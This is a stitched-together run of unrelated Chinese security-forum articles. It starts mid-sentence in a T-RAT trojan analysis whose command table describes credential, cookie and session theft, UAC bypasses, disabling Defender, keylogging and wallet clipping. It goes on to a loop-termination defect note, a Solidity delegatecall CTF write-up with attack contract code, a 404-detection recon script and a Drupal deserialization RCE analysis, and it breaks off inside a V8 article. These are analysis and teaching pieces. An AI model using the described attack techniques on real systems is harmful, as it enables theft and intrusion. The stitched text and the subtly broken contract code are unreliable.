in.exe的HRDP客户端，该客户端位于可执行文件的位置。然后，它将创建一个具有随机密码和名称的新用户帐户，并将凭据发送给攻击者。它将新创建的用户添加到“远程桌面用户”组，并通过将fDenyTSConnections设置为“0”来启用远程访问。
VNC服务器在32位系统上为service\winserv1.exe，在64位系统上为service\winserv2.exe。
### IoC
**Hashes**
**IoCs for downloader[4]**
**IoCs for T-RAT[1]**
**附录A：去模糊脚本**
#!/usr/bin/env python2.7
import re
import base64
import sys
import os
import argparse
from shutil import copyfile
def isBase64(s):
try:
return base64.b64encode(base64.b64decode(s)) == s
except Exception:
return False
def searchAndReplace(search, replace, binfile):
content = ""
with open(binfile,"rb") as bif:
content = bif.read()
new_content = content.replace(search, replace)
if new_content == content:
print "Search string not found."
return
with open(binfile,"wb+") as wif:
wif.write(new_content)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Decode and replace base64 strings in binary. Karsten Hahn @ G DATA CyberDefense')
parser.add_argument('str_listing', help='Text file with strings listing of sample. E.g. use Sysinternals strings.exe')
parser.add_argument('sample', help='Sample file where base64 strings should be replaced')
args = parser.parse_args()
inputfile = args.sample
outputfile = args.sample + ".decoded"
copyfile(inputfile, outputfile)
base64Regex = re.compile(r'^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$')
str_listing = args.str_listing
with open(str_listing) as ref_file:
print 'Extracting base64 strings...'
base_strings = []
for line in ref_file:
base_strings += base64Regex.findall(line)
print "Replacing base64 strings..."
for base_str in sorted(base_strings, key=len, reverse=True):
if len(base_str) > 3 and isBase64(base_str):
decoded_string = base64.b64decode(base_str)
decoded_bytes = bytearray(str(decoded_string).decode('utf-8').encode("utf-16le"))
base_bytes = bytearray(str(base_str).decode('utf-8').encode("utf-16le"))
while len(decoded_bytes) < len(base_bytes):
decoded_bytes.extend(b'\x0B\x20')
#print decoded_bytes
searchAndReplace(base_bytes, decoded_bytes, outputfile)
print "Replacing calls to decode Base64..."
# Optional: remove calls to Base64 conversion, this is specific to the sample
# for T-RAT
# searchAndReplace(b'\x28\x27\x00\x00\x0A', b'\x00\x00\x00\x00\x00', outputfile)
# for T-RAT downloader
# searchAndReplace(b'\x28\x17\x00\x00\x0A', b'\x00\x00\x00\x00\x00', outputfile)
print 'All done'
print 'Deobfuscated file written to', outputfile
**附录B：T-RAT命令**
这些是T-RAT 2.0命令以及其中一些命令的说明。
Command | Description
---|---
/help | Print available commands (shows different commands depending on the
state of the menu)
/getscreen | Takes a screenshot and sends as photo to Telegram
/webcam | Takes a picture using the webcam and sends as photo to Telegram
/record | Records audio using the microphone. Saves it to record.wav in the
executable's folder.
/sysinfo | Shows: username, IP, MAC, computername, processor model, number of
cores, processor size, graphics card model, RAM, operating system,
architecture, system directory, antivirus, firewall, drive info and available
space
/isadmin | Checks if executable has admin rights
/activewindow |
/openwindows |
/programs | Shows list of installed programs by obtaining all DisplayName
values for all subkeys of SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
/processlist |
/killprocess [process] |
/run [path] | Creates a hidden folder in %TEMP% named winsys. Puts a VBScript
file named .vbs in this folder. The VBScript uses ShellExecute to run the file
given in [path] parameter.
It uses a template called "Run2" in the resources for the VBScript and
replaces "lmao" with [path] |
/clipboard | Posts clipboard content to Telegram
/location |
/path |
/blocksite [example google.com] | Blocks a site via hosts file redirection to
localhost
/redirectprogram [first] [second] | Sets the second parameter as debugger for
the first via Image File Execution Options (IFEO)
/blockprogram [name] [block | unblock]
unblock: Removes the IFEO debugger from registry |
/CmstpUACBypass | UAC bypass via cmstp.exe
/CleanupUACBypass | UAC bypass via SilentCleanup
/FodHelperUACBypass | UAC bypass via fodhelper.exe
/ComputerDefUACBypass | UAC bypass via computerdefaults.exe
/OffCertChecking | In Attachment Policies sets: HideZoneInfoOnProperties to
"1" and SaveZoneInformation to "2" (= Off)
In Associations Policies sets: DefaultFileTypeRisk to "6152" (= Low) and
LowRiskFileTypes to ".exe" (yes, only ".exe") |
/DisableWindowsDefender | Disables TamperProtection; enables
DisableAntiSpyware, DisableBehaviorMonitoring, DisableOnAccessProtection and
DisableScanOnRealtimeEnable
/OffAvNotification | Disables SmartScreen and sets registry values to "0" for:
EnableLUA, ConsentPromptBehaviorAdmin, PromptOnSecureDesktop
/cmd | Provides a remote cmd terminal
/powershell | Provides a remote powershell console
/settings |
/disconnect |
/opencd | Calls mciSendStringA with "set cdaudio door open"
/closecd | Calls mciSendStringA with "set cdaudio door closed"
/exploreroff | Sets DisableTaskMgr to "1"
/exploreron | Deletes subkey tree for
Software\Microsoft\Windows\CurrentVersion\Policies\System
/hidetaskbar | Calls user32.dll ShowWindow with SW_HIDE parameter
/showtaskbar | Calls user32.dll ShowWindow for Shell_TrayWnd
/wallpaper | Asks the user to send a picture to set as wallpaper
/collapsewindows |
/reboot |
/kill |
/suicide |
cd [directory] | Sets working directory
back | Goes one step back in the command listing
ls |
drives |
action [name] | Provides file operations: info, run, delete, read, send, cd
mkdir [NameFileInFolder] | Creates a directory
remove [NameFileInFolder],[AnotherDirectory] |
rename [NameFileInFolder],[NewName] |
/hrdp | 1) Runs service\in.exe from executable folder. 2) Sets
fDenyTSConnections to "0" 3) Creates new user account named usr with password
4) Adds new user to Remote Desktop Users group 5) Prints credentials for new
user to Telegram
/StartProxyServer | Starts a Socks5 proxy using port 5901
/StopProxyServer | Stops above proxy
/StartVNC | Runs service\winserv1.exe for 32 bit architecture, or
service\winserv2.exe for 64 bit architecture. Both reside in the executable
folder.
/StopVNC | Kills any process with a name containing the substring winserv1 (32
bit)or winserv2 (64 bit)
/CheckVNC | Returns if a process name containing winserv1 or winserv2 exists
/commands | Menu navigation
/control | Menu navigation
/stealer | Menu navigation
/filemanager | Menu navigation
/StealPasswords |
/StealWebData | Searches for Web Data folder in the %LOCALAPPDATA% directory
and extracts autofill information. This folder is part of Chrome.
/StealCookies | Saves cookies to Cookies.txt in the executable folder and
uploads it to Telegram
/GetTelegramSession | Steal Telegram data
/GetSteamFiles | Steal Steam data
/GetNordData | Steal Nord data
/GetFilezillaConfig | Steal Filezilla configuration
/GetSkypeSession | Saves skype appdata folder contents to
%TEMP%/winsys/Skype.zip and uploads this file to Telegram
/GetDiscordSession | Saves Discord\Local Storage\leveldb folder contents to
%TEMP%/winsys/Discord.zip and uploads this to Telegram
/GetViberSession | Steal Viber data
/SetQiwi [wallet] | Set Qiwi wallet for clipper
/SetWMR [wallet] | Set WMR wallet for clipper
/SetWMZ [wallet] | Set WMZ wallet for clipper
/SetWME [wallet] | Set WME wallet for clipper
/SetWMX [wallet] | Set WMX wallet for clipper
/SetYandexMoney [wallet] | Set Yandex Money wallet for clipper
/SetCC [wallet] | Set CC wallet for clipper
/SetPayeer [wallet] | Set Payeer wallet for clipper
/SetRipple [wallet] | Set Ripple wallet for clipper
/SetDogechain [wallet] | Set Doge wallet for clipper
/SetTron [wallet] | Set Tron wallet for clipper
/SetBTCG [wallet] | Set BTCG wallet for clipper
/SetBTC [wallet] | Set BTC waller for clipper
/wallets |
/SaveConfig |
/SendConfig |
/StartScreenLogger |
/StartKeyLogger |
/SendLog |
/StopKeyLogger |
/SendScreenshots |
/StopScreenLogger |
/ClipperStart |
/ClipperStop |
/ClipboardLoggerStart |
/ClipboardLoggerSend |
/ClipboardLoggerStop |
/clipboard |
/functions |
/exit | Menu navigation
* * * | 社区文章 |
# 【缺陷周话】第53期：不当的循环终止
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1、不当的循环终止
C/C++语言中的循环操作包括 for() 循环，while() 循环、do{}while()
循环等，在使用循环操作时，需要设定恰当的循环终止条件，避免造成死循环。
## 2、“不当的循环终止”的危害
不当的循环终止通常会导致死循环的发生，进而导致拒绝服务攻击、程序崩溃等漏洞。
CVE中也有一些与之相关的漏洞信息，从2018年1月至2019年9月，CVE中就有3条相关漏洞信息。漏洞信息如下：
CVE | 概述
---|---
CVE-2019-14207 | Foxit PhantomPDF 是中国福昕（Foxit）公司的一款PDF文档阅读器。Foxit PhantomPDF
8.3.11 之前版本中存在安全漏洞。攻击者可利用该漏洞造成应用程序崩溃（死循环）。
CVE-2018-19826 | LibSass是一个开源的使用C语言编写的Sass（CSS扩展语言）解析器。LibSass 3.5.5版本中的
inspect.cpp 文件存在安全漏洞（死循环）
CVE-2018-10316 | NetwideAssembler(NASM) 是一个基于 Linux
的汇编器，它能够创建二进制文件并编写引导加载程序。NASM2.14rc0 版本中的asm/nasm.c文件的 ‘assemble_file’
函数存在整数溢出漏洞。攻击者可借助特制的文件利用该漏洞造成拒绝服务（死循环）。
## 3、示例代码
示例源于 toyota-itc-benchmarks-master (https://github.com/regehr/itc-benchmarks)，源文件名：endless_loop.c。
### 3.1 缺陷代码
上述示例代码中在第39行使用 for 语句进行循环操作，且在 for 语句中省略了循环控制变量，在 for
循环体中也没有对循环控制变量进行更新，从而导致死循环的发生，因此存在“不当的循环终止”问题。
使用代码卫士对上述示例代码进行检测，可以检出“不当的循环终止”缺陷，显示等级为高。如图1所示：
图1：“不当的循环终止”检测示例
### 3.2 修复代码
上述修复代码中，在第42行使用 i++; 语句对循环控制变量进行更新，当 i
的值等于10时循环退出，从而避免了死循环问题。使用代码卫士对修复后的代码进行检测，可以看到已不存在“不当的循环终止”缺陷。如图2：
图2：修复后检测结果
## 4、如何避免“不当的循环终止”
（1）在使用循环操作时，设定正确的循环条件；（2）在循环体中，满足循环条件的情况下也可以通过执行 break、return 等语句终止循环。 | 社区文章 |
### 一、前言
作为不太成熟的编程语言，Solidity函数由于其运行机制等问题目前能找到很多的安全问题。在之前的分析中，我们针对共识、合约等方向进行过概括性的研究，而最近区块链安全的研究热也激起了研究者对以太坊的深入了解。
最近的几次CTF比赛中，区块链的题目出现的频率也越来越高，也逐渐进入大家的视野中。今天，我们就针对部分区块链的CTF题目以及生产环境中的实例进行一些相关技术分析，并带领读者一步一步模拟这些漏洞的出现情况。并在以太坊平台上进行相关合约部署，方便研究者更进一步的研究。
在分析开始之前，我们先对智能合约有一个基础的概念了解。
**智能合约**
就是运行在区块链网络上的程序，智能合约与合约执行的结果都会储存在区块链上。在区块链的背景下，智能合约不只是一个计算机程序：它自己就是一个参与者，对接收到的信息进行回应并在同时接受和存储相应的价值。除此之外，它也能同外部地址合约进行交互，向外发送信息和价值。智能合约与一般程序的差异主要体现在以下四个方面：
* 整合资金流程度
智能合约通过以太坊自带的以太币可以非常容易的整合资金流系统。
* 部署以及后续费用
一般程序部署在服务器上，程序部署成功后，除了需要花费一些维护费用外不需要其他的额外花费。智能合约在部署的时候需要一笔费用，这些费用将分给参与交易验证的人。而在合约部署成功后，合约会作为不可更改的区块链的一部分，分散地存储在全球各地的以太坊节点上。因此，智能合约部署后，并不需要定期提供维持费用，同时查询已写入区块链的静态数据时也不需要费用，只有在每次通过智能合约写入数据的时候才需要交易费用。
例如：
上述图片为查询owner的信息，而此次查询点击即可获得信息，并不需要支付交易费用。
然而对于根据智能合约写入信息来说，我们则需要进行手续费的提供。
* 存储成本不同
一般的应用程序需要将数据存储到服务器上，需要数据时需要从服务器上读取。然而智能合约将数据存储在区块链上，存储数据所需的成本相对比较昂贵，需要根据存储数据的大小支付相当的费用情况。
* 部署后无法更改
一般的程序可以通过版本升级的方式进行更改，而智能合约一旦部署到区块链上后，就无法更改这个智能合约。
### 二、关键威胁函数分析
根据知道，在Solidity合约的书写中，跨合约调用是经常出现危险的地方。而我们就要在这里对调用函数进行一些详细的分析。这里我们分别对`call()`以及`delegatecall()`函数进行实验分析，之后对某些函数存在的上下文问题进行深入的理论探讨。
在实验中，我部署了
pragma solidity ^0.4.23;
contract subFun {
address public addr;
function subTest() public returns (address a){
addr = address(this);
}
}
contract callAndDelegatecall {
address public b;
address public testaddress;
constructor(address _address) public {
testaddress = _address;
}
function withcall() public {
testaddress.call(bytes4(keccak256("subTest()")));
}
function withdelegatecall() public {
testaddress.delegatecall(bytes4(keccak256("subTest()")));
}
}
并以此代码进行实验。
#### 1 call()函数
开始的时候，我们传入地址信息并对此函数进行部署。
由下图，我们通过此函数部署了两个contract。
此时，我们查看两个合约对应的addr参数的值，我们知道初始时的值均为Ox0000000。
之后我们调用`callAndDelegatecall`合约中的`withcall()`函数，将addr的值更改后我们进行查看。
我们发现`subFun`合约中的地址被修改，而下面的地址仍然是0x00000。
这就可以很好地说明，调用call()时，上下文环境是被调用的合约的环境。
#### 2 delegatecall()函数
二者执行代码的上下文环境的不同，当使用call调用其它合约的函数时，代码是在被调用的合约的环境里执行，对应的，使用delegatecall进行函数调用时代码则是在调用函数的合约的环境里执行。
对于`delegatecall()`函数来说，我们同样进行试验。
点击运行函数后，我们发现了不同的现象。
我们下面的地址有了改变。我们根据代码进行分析：
由于我调用了
testaddress.delegatecall(bytes4(keccak256("subTest()")));
而这个函数远程调用了子合约中的函数。而我们之严重被改变的地址是父合约的。所以意味着码则是在调用函数的合约的环境里执行。
所以进行总结，我们得出：
* call: 最常用的调用方式，调用后内置变量 msg 的值会修改为调用者，执行环境为被调用者的运行环境(合约的 storage)。
* delegatecall: 调用后内置变量 msg 的值不会修改为调用者，但执行环境为调用者的运行环境。
### 三、实例分析
根据我们上述代码的实验分析，我们知道由于delegatecall函数是在调用者环境中执行代码的，所以我们可以大胆的进行设想：倘若有某个官方系统的合约代码中存在某个接口能够传入参数，并且拥有delegatecall函数的调用可能。那么我们是否可以通过此来进行合约调用？（因为它的上下文环境是在本机）而下面，我们就要针对这个相关的问题进行delegatecall函数的综合利用。并根据EVM的机制漏洞来实验相关不安全代码。
#### 1 合约实例分析
pragma solidity ^0.4.23;
contract Subcontract {
uint public start;
uint public calculatedNumber;
function setStart(uint _start) public {
start = _start;
}
function setfun(uint n) public {
calculatedNumber = test(n);
}
function test(uint n) internal returns (uint) {
return start * n;
}
}
contract Mastercontract {
address public addr;
uint public calculatedNumber = 1;
uint public start = 1;
uint public withdrawalCounter = 1;
bytes4 constant fibSig = bytes4(keccak256("setfun(uint)"));
constructor(address _fibonacciLibrary) public {
fibonacciLibrary = _fibonacciLibrary;
}
function withdraw() public {
withdrawalCounter += 1;
require(addr.delegatecall(fibSig,withdrawalCounter),"something wrong");
msg.sender.transfer(calculatedNumber * 1 ether);
}
}
}
分析上述合约，我们来看对应的函数。
首先例子中存在一个`Subcontract()`合约，这个为子合约。而自合约中存在test函数，而我们能够看出来test函数中返回的值为传入的`n`值与`start`的值的乘积。而在`setfun()`函数中，我们调用`test()`函数赋值给变量`calculatedNumber`。
而我们再看主合约。对于以太币相关的东西，我们最应该关注的地方就是转账函数。而在withdraw函数中，我们存在`msg.sender.transfer(calculatedNumber
* 1 ether);`函数。而在此函数中，合约会向调用者转账`calculatedNumber *
1`个以太币。所以倘若我们想增加转账数额，那么我们就需要提高`calculatedNumber`的值。
而在我们的合约中，我们发现转账参数只有1。所以转账的数额很少。
我们需要修改`calculatedNumber`的值，而我们并没有在主函数中发现修改其值的地方。然而，这个代码中却存在着很严重的问题。
虽然我们不能直接修改`calculatedNumber`参数的值，但是我们发现了代码中存在函数调用`require(addr.delegatecall(fibSig,withdrawalCounter),"something
wrong");`。那我们能否在这个地方做手脚呢？
**（此处是重点）** 在子合约中我们定义了两个uint的变量`start 与
calculatedNumber`。而在Solidity存储机制中，他们两个被分别存储在`slot[0]与slot[1]`这两个位置。（代表以太坊虚拟机的两个空间）
类似的，在`Mastercontract`合约中，`addr
与calculatedNumber`也被存储在`slot[0]与slot[1]`这两个位置。而根据我们上面的测试内容，delegatecall保留了合约的上下文，运行环境其实为本合约。这意味着通过delegatecall的代码将对主调用合约的状态（如存储）产生作用。
也就是说，我使用`delegatecall
()`函数后由于是在主合约的上下文中，所以子合约将去寻找start，而在以太坊机制中，我们并不是通过名字来进行值的获取，而且根据位置了寻找。即库合约中的start的存储位置为slot[0]，那么当使用delegatecall时，就是在主调用合约的slot[0]位置去找，但是在主调用合约中slot[0]位置的值为`addr`。也就是说，我们通过远程调用而改变了主函数中变量的值。
下面我们看具体的代码实验。
首先我们部署子合约：
之后我们传入子合约地址并部署master合约，之后得到
之后传递aaa的值为55555：
再次点击aaa后，我们查看更新后的值：
发现我们的合约`fibonacciLibrary1`的值被更改了。
我们将代码放于此：
pragma solidity ^0.4.23;
contract Subcontract {
uint public calculatedNumber;
// uint public start = 99;
// function setStart(uint _start) public {
// start = _start;
// }
function setfun(uint n) public {
calculatedNumber = n;
}
}
contract Mastercontract {
// uint public withdrawalCounter = 20;
address public fibonacciLibrary1;
address public fibonacciLibrary;
bytes4 constant fibSig = bytes4(keccak256("setfun(uint256)"));
constructor(address _fibonacciLibrary) public {
fibonacciLibrary = _fibonacciLibrary;
}
function aaa(uint Counter) public {
fibonacciLibrary.delegatecall(fibSig,Counter);
}
}
我们发现我们并没有能够更改`fibonacciLibrary1`参数的入口，但是它确实被更改了。也就意味着我们使用`delegatecall`函数成功了。
#### 2 合约CTF题目分析
下面，我们看一道改编后的ctf题目。
在测试环境中，我们需要用到三个合约地址：
这三个合约地址分别部署子合约、父合约以及攻击合约。
而下面我们看一下题目。
pragma solidity ^0.4.23;
import "github.com/Arachnid/solidity-stringutils/strings.sol";
contract Ttest {
address public addr1;
address public addr2;
address public owner;
using strings for *;
bytes4 constant setTimeSignature = bytes4(keccak256("set(uint256)"));
constructor(address _a, address _b) public {
addr1 = _a;
addr2 = _b;
owner = msg.sender;
}
function First(uint _timeStamp) public {
addr1.delegatecall(setTimeSignature, _timeStamp);
}
function Second(uint _timeStamp) public {
addr2.delegatecall(setTimeSignature, _timeStamp);
}
function attack(string name) public returns(string){
require (owner == msg.sender);
string memory c = "Congratulations attacker !!";
return c.toSlice().concat(name.toSlice());
}
}
contract Library {
uint first;
function set(uint _time) public {
first = _time;
}
}
主合约中共有三个函数：`First Second
attack`。而前两个函数用于调用子合约中的set函数。我们在`attack()`函数中看到，在内部需要require，即在执行此函数的过程中需要将我们的owner身份验证为调用者。
**（也就是说我攻击者需要将owner改成自己的地址才能攻击）**
所以我们根据上面提及的内容，进行分析。我们知道在`First Second`函数中存在`delegatecall
()`，而我们知道这个函数是在运行函数方的上下文中进行的。所以我们根据上文提及的存储漏洞来进行合约攻击。
首先部署好合约：
这里分别使用第一个地址与第二个地址部署。
之后我们使用第三个地址部署攻击合约：
此时我们能够看到目前`addr1与addr2`变量对应的地址为子合约那个部分的地址。也就是说我现在调用函数会执行自合约部分的set函数。
之后我使用存储漏洞修改掉地址一。此时我们将attack部署在地址三上。然后传入attack合约地址于First函数中。
运行后查看得到：
此时，我们`addr1`的地址已经变成了部署`attack`的地方，也就是说此时倘若我运行`First()`函数，那么我们就会调用`attack`合约中的`set()`函数。而我们具体看一下set函数的内容：
function set (uint _time) public {
owner = tx.origin;
}
我们任意的传入参数，之后就会将`owner`更改为合约所有者——即attacker的地址。
此时我们调用了`First`函数，之后我们再看`owner`的变化。
它从`0x14.......`变成了`0x4B......`。也就是说它变成了我们攻击者的owner地址。
此时我们就可以调用`Ttest`合约中的`attack()`函数（因为已经绕过了owner）。得到：
至此，我们的攻击成功。
### 四、参考链接
* <https://my.oschina.net/u/3794778/blog/1800631>
* <https://paper.seebug.org/633/#0x03-call>
* <https://blog.riskivy.com/%E6%99%BA%E8%83%BD%E5%90%88%E7%BA%A6ctf%EF%BC%9Aethernaut-writeup-part-4/>
**本稿为原创稿件，转载请标明出处。谢谢。** | 社区文章 |
# 404页面识别
### 前言
最近在挖洞前做资产收集的时跑了一波子域名，但是目前很多子域名挖掘机挖出来资产还是存在很多水分，准确率一般；于是乎写了个脚本用是否能请求成功作为筛选条件进行第一轮筛选，本以为这样就做好子域名收集工作，但是发现不少子域名居然是404页面，没有什么用武之地。于是乎打算再写一个404页面识别过滤掉域名中所有没有用处的404。
### 404页面识别思路
在编写之前先看一下目前网站404的呈现有哪些方式
1. web容器设置404错误页面，服务端返回404状态码
例如freebuf，当我们随便访问一个[不存在的页面](https://www.freebuf.com/qweqwe)，返回的404页面，此时状态码返回了404。
这种情况下，可以根据返回response的状态码来直接判断是不是404页面。
1. 将404错误页面指向一个新的页面，页面上显示404信息，但是此时状态码并不为404，一般返回状态码有301、302，或者直接返回状态码为200的错误页面。
比如Baidu，当我们访问一个[不存在的页面](https://www.baidu.com/abcdefg)，会返回[https://www.baidu.com/search/error](https://www.baidu.com/search/error.html)。
根据以上这2种情况，大致得出404页面的识别思路。
* 从状态码是否为404判断
* 获取域名的404页面，然后判断请求的页面和404页面是否相似，相似则可以判断为404页面。
### 404页面过滤
#### 页面相似度
根据上面提到的识别思路，首先要解决的第一个问题是`页面相似度`的判断。如何判断两个页面的相似度呢？
这里使用`hashes.simhash`，对两个页面的body计算hash值，再调用`similarity`获取两个页面的相似值，自定义一个阀值作为标准判断是否相似，`radio`可以根据具体情况调整。
from hashes.simhash import simhash
def is_similar_page(res1, res2, radio=0.85):
if res1 is None or res2 is None:
return False
body1 = res1.body
body2 = res2.body
url1 = res1.get_url()
url2 = res2.get_url()
simhash1 = simhash(body1.decode('utf-8'))
simhash2 = simhash(body2.decode('utf-8'))
calc_radio = simhash1.similarity(simhash2)
# print("[%s]与[%s]两个页面的相似度为:%s" % (url1, url2, calc_radio))
if calc_radio >= radio:
return True
else:
return False
#### 构造404页面
这里很简单，访问一个随机生成字符串为后缀的页面。
def generate_404_kb(self, url):
# 获取URL的拓展名
domain = url.get_domain() #www.freebuf.com
domain_path = url.get_domain_path() #https://www.freebuf.com
rand_file = rand_letters(8) + '.html'
url_404 = domain_path.urljoin(rand_file)
resp_200 = requests.get(domain_path)
resp_404 = requests.get(url_404)
# 有些网站做了容错处理，并不会直接返回404，而会返回当前页面
if is_similar_page(resp_200, resp_404):
pass
else:
self._404_already_domain.append(domain)
self._404_kb.append((domain, resp_404))
#### 整体思路
class page_404:
_instance = None
def __init__(self):
self._404_already_domain = []
self._404_kb = []
# 根据301、302跳转或状态码为200的404页面
self._404_code_list = [200, 301, 302]
def generate_404_kb(self, url):
# 获取URL的拓展名
domain = url.get_domain()
domain_path = url.get_domain_path()
rand_file = rand_letters(8) + '.html'
url_404 = domain_path.urljoin(rand_file)
resp_200 = requests.get(domain_path)
resp_404 = requests.get(url_404)
# 有些网站做了容错处理，并不会直接返回404，而会返回当前页面
if is_similar_page(resp_200, resp_404):
pass
else:
self._404_already_domain.append(domain)
self._404_kb.append((domain, resp_404))
def set_check(self):
self._404_kb = []
self._404_checked = False
def is_404(self, http_response):
code = http_response.get_code()
url = http_response.get_url()
domain = url.get_domain()
if domain not in self._404_already_domain:
self.generate_404_kb(url)
# 如果状态码为404直接返回
if code == 404:
return True
if code in self._404_code_list:
for domain_404, resp_404 in self._404_kb:
# 判断域名是否一样
if domain == domain_404:
if is_similar_page(http_response, resp_404):
return True
return False
def is_404(http_response):
if page_404._instance is None:
page_404._instance = page_404()
return page_404._instance.is_404(http_response)
### 荒废的域名
本来脚本过滤写到这里应该就差不多了，但是今天测试的时候还是发现了一个bug。当域名本身无效，即访问domain本身也会跳转到一个404页面，这时候情况就有点不一样了。
比如直接访问<http://e.apptaxi.com.cn>，会发生302跳转到定义好的404页面<https://img-ys011.didistatic.com/static/dfe_default_page/index.html>，但是直接访问<https://img-ys011.didistatic.com>，仍然会跳转到404页面[<https://img-ys011.didistatic.com/static/dfe_default_page/index.html]。>
仔细看看上面`构造404页面`部分
resp_200 = requests.get(domain_path)
resp_404 = requests.get(url_404)
# 有些网站做了容错处理，并不会直接返回404，而会返回当前页面
if is_similar_page(resp_200, resp_404):
pass
我理所当然认为直接访问<https://www.domain.com>必定是一个200页面，即正常的页面。但是一般来说子域名挖掘机挖出来的不少子域名可能是无效的，或者是直接301、302跳转到404页面。这时候本身`resp_200`就不是正常的页面，所以不能当作识别404页面的标准。
这里我的思路是，假若`resp_200`本身就是一个`404页面`的话，那么它和随机生成的`resp_404`页面相似度`radio`可能大于0.95甚至相似度为1。所以这种情况分开做判断。
def generate_404_kb(self, url):
# 获取URL的拓展名
domain = url.get_domain() #www.freebuf.com
domain_path = url.get_domain_path() #https://www.freebuf.com
rand_file = rand_letters(8) + '.html'
url_404 = domain_path.urljoin(rand_file)
resp_200 = requests.get(domain_path)
resp_404 = requests.get(url_404)
# 有些网站做了容错处理，并不会直接返回404，而会返回当前页面
if is_similar_page(resp_200, resp_404):
# 如果相似度等于1的话，证明本身domain页面也是404页面
if is_similar_page(resp_200, resp_404, 1):
self._404_already_domain.append(domain)
self._404_kb.append((domain, resp_200))
pass
else:
self._404_already_domain.append(domain)
self._404_kb.append((domain, resp_404))
### 后记
其实整个404页面识别过程中，我认为最难解决的是`页面相似度`判断这一个问题，这里简单的用`response_body`来计算`hash`并根据一个大概的`radio`来判断，然后根据具体网站的404的情况再制定好判断逻辑就好了。
另外文章中的代码是从自己的项目中截取出来，可能不能直接执行，但是大致已经提供了一个思路。师傅们有什么指点请问问指教。
参考《白帽子将web扫描》 | 社区文章 |
# Drupal SA-CORE-2019-003 远程命令执行分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文作者：Rico @腾讯安全云鼎实验室
## 漏洞背景
2 月 20 日 Drupal 官方披露了一个 Drupal 的远程命令执行漏洞：
<https://www.drupal.org/sa-core-2019-003>
漏洞的触发条件为开启了 RESTful Web Services，且允许 POST / PATCH 请求。
根据 Drupal 的配置，此漏洞可能不需要任何权限即可触发，但普适性不高。一旦该漏洞被利用，攻击者则可以直接在 Web 服务器上执行任意 PHP
代码，造成服务器被入侵、用户信息泄露等后果。
腾讯云不受该漏洞影响，此漏洞爆发后，腾讯云安全团队第一时间进行跟踪分析，且对云上客户进行预警通知。
## 漏洞定位
漏洞通告指出了 Drupal 8 在开启了 RESTful Web Services 模块，同时允许了 PATCH / POST
方法请求后，可以造成代码执行漏洞。
根据 commit log [注1] 可以定位到漏洞的触发原因在于反序列化的操作：
可以推测应该是在进行 REST API 操作的过程中，options 参数的内容带入到 unserialize 函数导致的。通过 diff 可以发现
LinkItem.php 和 MapItem.php 都受到影响，这里从 LinkItem 来向上挖掘漏洞点。
查看 coremoduleslinksrcPluginFieldFieldTypeLinkItem.php：
梳理了其整个调用链，从 REST 请求开始，先通过用户传入的 JSON 的 _links.type 获取了其对应的 Entity，再获取 Entity 内的
Fields 列表，遍历这个列表得到 key，从用户传入的 JSON 内取出 key，拼接成为 field_item:key 的形式（过程略），最终在
getDefinition 内查找了 definitions 数组内的字段定义，得到一个对应的 Field 的实例对象，过程大体如下：
接着 FieldNormalizer 的 denormalize 方法调用了 Field 的 setValue 方法。
也就是说，我们如果可以将 $field_item 控制为 LinkItem 或者 MapItem，即可触发反序列化。
## 触发点构造
我们在 Drupal 后台配置好 RESTful Web Service 插件，选择一个可以进行 POST 的操作。
为了尽可能模拟网站管理员的配置，我们这里允许对于 /user/register 的 POST 操作。
于情于理，用户注册处必然可以作为匿名用户来进行操作。开启 /user/register ：
设置允许匿名用户利用 POST 来访问 /user/register 。
上文中提到，我们需要一个 Entity 内存在 LinkItem Field。通过对 Entity 的查找，定位到 MenuLinkContent 和
Shortcut 使用了 LinkItem，利用 Shortcut 来进行进一步的测试。
Shortcut 的 _links.type 为 <http://127.0.0.1/rest/type/shortcut/default> 。
向 /user/register 发送 POST 请求，同时在 PHPStorm 内将断点下在
coremoduleshalsrcNormalizerFieldItemNormalizer.php 的 denormalize 函数：
可以发现，在调用 setValue 方法的现场，$field_item 为 LinkItem。跟入 setValue 方法（图 2），根据逻辑，如果
$values 为一个数组。且 $values[‘options’] 存在，那么就执行反序列化操作。我们修改 payload 为即可触发反序列化。
#### 验证视频：
攻击者利用此反序列化可以在服务器上执行任意代码，利用此漏洞在服务器上弹出计算器的视频如下：
## 安全建议
#### 修复方案如下：
1. Drupal 8.6.x 版本升级到 8.6.10 版本
2. Drupal 8.5.x 或更早期版本版本升级到 8.5.11 版本
3. Drupal 7 暂无更新
#### 缓解措施如下：
1. 禁用 RESTful Web Services 模块
2. 配置服务器不允许 POST/PATCH 请求
注1：
<https://github.com/drupal/core/commit/24b3fae89eab2b3951f17f80a02e19d9a24750f5>
腾讯安全云鼎实验室
关注云主机与云内流量的安全研究和安全运营。利用机器学习与大数据技术实时监控并分析各类风险信息，帮助客户抵御高级可持续攻击；联合腾讯所有安全实验室进行安全漏洞的研究，确保云计算平台整体的安全性。相关能力通过腾讯云开放出来，为用户提供黑客入侵检测和漏洞风险预警等服务，帮助企业解决服务器安全问题。 | 社区文章 |
**作者：灰豆
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
# 介绍
substring、getDate、catch 等是常用的 JavaScript API，接下来的几篇文章将对 V8 中 API
的设计思想、源码和关键函数进行讲解，并通过例子讲解 JavaScript 在 V8 中的初始化、运行方式，以及它与解释器、编译器、字节码之间的关系。
本文讲解 API Equal 和 StrictEqual 的设计与实现。
# Equal 和 StrictEqual 的调用方式
来看一段 JS 源码和它的字节码：
1. var a="123";
2. var b = a == 123;
3. var c = a === 123;
4. console.log(b);
5. console.log(c);
6. //分隔线............
7. //省略...............................
8. 000000CFDD021F54 @ 22 : 6a f9 04 TestEqual r1, [4]
9. 000000CFDD021F57 @ 25 : 23 03 05 StaGlobal [3], [5]
10. 000000CFDD021F5A @ 28 : 21 02 02 LdaGlobal [2], [2]
11. 000000CFDD021F5D @ 31 : c2 Star1
12. 000000CFDD021F5E @ 32 : 0d 7b LdaSmi [123]
13. 000000CFDD021F60 @ 34 : 6b f9 07 TestEqualStrict r1, [7]
14. //省略...............................
上述代码中，第 2 行代码 '==' 的字节码是第 8 行代码 TestEqual； 第 3 行代码 '===' 的字节码是第 13 行代码
